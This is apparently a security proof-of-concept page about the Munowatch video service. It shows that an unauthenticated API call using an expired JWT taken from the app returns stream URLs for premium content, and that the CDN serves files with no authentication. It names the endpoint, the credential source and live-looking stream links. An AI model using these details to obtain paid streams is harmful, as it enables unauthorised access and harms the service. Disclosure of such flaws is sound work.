SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned playingUrl for Alpha with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
Alpha
Vj Lance Drama 01h 36m 5 years ago

Keda, the son of a tribe chief, tries to survive alone in the wilderness after his tribe leaves him. Incidentally, he finds himself in the company of an injured wolf abandoned by its pack.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/17317/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 30
video_name Alpha.vjlance.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN demo stream https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).
